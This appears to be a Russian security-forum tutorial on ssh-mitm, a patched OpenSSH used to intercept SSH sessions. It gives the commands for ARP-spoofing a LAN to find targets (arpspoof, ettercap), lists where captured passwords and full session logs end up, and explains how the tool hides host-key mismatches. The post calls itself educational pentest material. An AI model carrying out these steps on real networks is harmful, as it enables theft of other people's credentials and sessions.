
Счастлив приветствовать Форумчан,Друзей,Гостей и тех,кто следит за пульсом ИБ.
Сегодня хотел бы рассмотреть с вами инструмент для перехвата ssh-соединения.
Не так много инструментов могут посоперничать в аналогичной атаке (разве только Intercepter-NG).
Речь пойдёт о mitm-атаке,которую обеспечивает патч,применяемый к исходному коду OpenSSH v7.5p1
Это позволяет действовать как прокси-сервер между атакуемой машиной и предполагаемым SSH-сервером.
Все пароли и сеансы открытого текста логгируются в соответствующем месте на атакующей машине.
Обнаружение атаки будет 100%-ным только в том случае,если будет проведена сверка ключа.
В противном случае,подмена ключа,будет выглядеть как стандартное предупреждение.
И,соответственно,в большинстве случаев,может быть проигнорировано пользователем.
Ssh-mitm был доработан автором ,добавлен автоматический установщик, добавлена поддержка Kali Linux.
Добавлен скрипт JoesAwesomeSSHMITMVictimFinder.py для поиска потенциальных целей в локальной сети.Разумеется,рождение инструмент отметил совершенно недавно,потому и актуален.
Возможности и хитрости ssh-mitm:
1) Поддержка SFTP MITM'ing
2) Распечатка имени хоста,пользователя и пароля в верхней части журналов сеансов.
3) Поддержка переадресации портов.
4) Замена вывода ssh-keygen,когда пользователь пытается проверить хэш хоста.
5) Автоматическое отключение сценария оболочки при обнаружении попытки проверки подлинности ключа.
Автор обзора и администрация форума не призывают использовать рассматриваемый инструмент в незаконных целях.
Вся информация предоставлена исключительно в рамках ознакомления и изучения проблем безопасности.
Особенности использования:
а) Вначале предлагается запустить сценарий ./JoesAwesomeSSHMITMVictimFinder.py
Это позволяет легко найти цели в локальной сети.
ARP подменяет блок IP-адресов и сниффит траффик SSH в течении короткого периода времени.
При этом,сообщается о любых текущих SSH-соединениях,происходящих от устройств в локальной сети.
По умолчанию,JoesAwesomeSSHMITMVictimFinder.py будет обрабатывать только 5 блоков IP-адресов за 20 секунд.
Затем,начинает спуффить следующие 5.Параметры могут быть настроены и иначе.
Не рекомендуется увеличивать нагрузку на сетевой интерфейс,т.к.он может начать сбрасывать кадры,
вызывая отказ в обслуживании и сильно повышая подозрительность и обнаружение пентестера.
Пример поиска цели и вывод:
Код:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
б) run.sh запускаем от суперпользователя.В свою очередь,это запустит sshd_mitm,
включит переадресацию IP и настроит перехват пакетов SSH через iptables.
Пример:
Код:
arpspoof -r -t 192.168.x.1 192.168.x.5
Также можно подключить и другие инструменты для этого:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
Перехваченные пароли появятся здесь: sudo tail -f /var/log/auth.log
Как только сеанс будет получен,можно просмотреть полный журнал сеанса ssh:
Код:
# cat /home/ssh-mitm/session_*.txt
Стоит обратить внимание,что символы в командах пользователя дважды появляются в файле.
Это нормальная ситуация,т.к.записывается вход пользователя и вывод из оболочки с обратным возвратом символов.
При этом,когда временно отключается прослушивание для чтения пароля,дубликаты символов не отображаются.
в) Закрепление с прописью своего имени хоста на тестируемый сервер.
Для этого в файле lol.h определяются 2 параметра: DEBUG_HOST и DEBUG_PORT.
Теперь можно напрямую подключиться к sshd_mitm без использования спуффинга
Пример:
Код:
ssh -p 2222 valid_user_on_debug_host@localhost
г) И ,если потребуется,то генерация нового патча:
pushd openssh-7.5p1-mitm/; make clean; popd
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile.in -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh openssh-7.5p1 openssh-7.5p1-mitm/ > openssh-7.5p1-mitm.patch
Установка ssh-mitm:
Код:
# git clone https://github.com/jtesta/ssh-mitm.git
# chmod +x install.sh
# ./install.sh -установочный скрипт,требующий запуск от root (см.примечание!!)
# ./JoesAwesomeSSHMITMVictimFinder.py -h -вывод справки запуска сценария поиска целей
# ./run.sh - запуск перехвата сеанса ssh
# ./stop.sh - остановить перехват сеанса ssh
Могут также потребоваться такие пакеты:
# apt-get install python3-netaddr
# apt-get install python3-netifaces
Примечание на основе личного опыта:
install.sh устанавливает предварительные условия из репозиториев,загружает архив OpenSSH,
проверяет его подпись,компилирует его и инициализирует непривелегированную среду для выполнения.
Сносит с машины программу Bitmask (если он у вас установлен) с парой зависимых пакетов.
Так что,будьте аккуратнее с установкой. Bitmask установил затем заново.
При этом ,рекомендательную команду apt autoremove лучше не задавать!
В заключении,привожу и назидание автора - запускать ssh-mitm только в замкнутой среде (на виртуальной машине)
Причина-опасность использования для самого пентестера из-за особенностей инструмента.
На этом завершаю обзор,благодарю вас всех за внимание.Спасибо,что вы с нами и до встреч на Codeby!
Последнее редактирование: